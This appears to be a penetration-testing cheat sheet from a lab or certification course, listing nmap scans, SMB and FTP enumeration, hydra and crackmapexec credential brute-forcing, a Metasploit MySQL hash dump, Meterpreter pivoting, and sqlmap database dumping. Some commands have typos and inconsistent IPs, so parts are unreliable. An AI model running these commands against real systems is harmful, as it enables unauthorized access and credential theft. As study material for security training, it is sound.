Nmap scans

nmap 192.168.55.0/24 -sn

nmap -Pn -p 8080 192.168.55.100

nmap -Pn -F 192.168.55.100

nmap -Pn -sU 192.168.55.100

nmap 192.168.55.100 -p- --open -sV -sC -sS -O

nmap -A -T5 192.168.55.100

SMB Enumeration

nmap -p 445 –script smb-enum-shares 192.168.55.100

smbmap -u admin -p password -d . -H 192.168.55.100

smbmap -H 192.168.55.100 -u admin -p password --download ‘C$\flag.txt’

nmblookup -A 192.168.55.100

smb -L 192.168.100.55 -N

rpcclient -U “” -N 192.168.100.55

enum4linux -a 192.168.55.112

FTP Enumeration

ftp 192.168.112.50 21

hydra -L /unix\_users.txt -P /unix\_passwords.txt 192.168.112.50 ftp

nmap 192.168.112.50 --script ftp-brute --script-args userdb=/root/users -p 21

nmap 192.168.112.50 -p 21 --script ftp-anon

MYSQL

Mysql -u root -p -h 192.168.112.50

>use /mysql\_writable\_dirs

>use /mysql\_hashdump

nmap 192.168.100.23 -sV -p 3306 –script mysql-users

WinRM

Crackmapexec 192.168.112.23 winrm -u /users.txt -p /passwords.txt

smbclient -L [\\\\192.168.23.100\\](file:///\\\\192.168.23.100\\) -U admin

ssh [user@192.168.23.100](mailto:user@192.168.23.100)

run autoroute -s 192.168.23.0/24

portfwd add -l 1234 -p 80 -r 192.176.23.44

dirb <http://192.173.44.10>

curl -X GET 192.173.44.10

curl -X HEAD 192.73.44.10

curl -I 192.73.44.10

curl -X OPTIONS 192.73.44.10/login.php -v

curl -X POST 192.73.44.10/login.php -v

curl -X POST 192.73.44.10/login.php -v -d “name=john&Password=password” -v

curl 192.72.33.10/uploads/ --upload-file hello.txt

sqlmap -u “url” –cookie ‘cookieid” -p title -D bwapp -T users –columns

hydra -L /users -P /passwords 192.168.115.23 http-post-form “login.php:login = ^user^&password=^pass^&securitylevel=0&form=submit Invalid credentials or user not activated!”